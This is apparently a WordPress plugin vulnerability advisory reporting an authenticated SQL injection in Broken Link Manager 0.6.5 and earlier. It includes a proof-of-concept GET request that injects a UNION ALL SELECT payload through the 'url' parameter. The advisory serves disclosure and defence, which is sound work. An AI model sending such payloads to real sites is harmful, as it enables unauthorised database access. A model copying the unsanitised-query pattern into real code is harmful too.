WordPress Plugin Vulnerabilities

Broken Link Manager <= 0.6.5 - Authenticated (admin+) SQL Injection

Description

The plugin does not sanitise, validate or escape the url GET parameter before using it in a SQL statement when retrieving an URL to edit, leading to an authenticated SQL injection issue

Proof of Concept

GET /wp-admin/admin.php?page=wblm-edit-url&url=-4966%20UNION%20ALL%20SELECT%20NULL,current_user(),current_user(),NULL,NULL,NULL,NULL-- HTTP/1.1
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US,en;q=0.9
Cookie: [admin+]
Connection: close

Affects Plugins

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
Shreya Pohekar of Codevigilant Project
Verified
Yes

Timeline

Publicly Published
2021-07-24 (about 2 years ago)
Added
2021-07-24 (about 2 years ago)
Last Updated
2022-02-24 (about 2 years ago)

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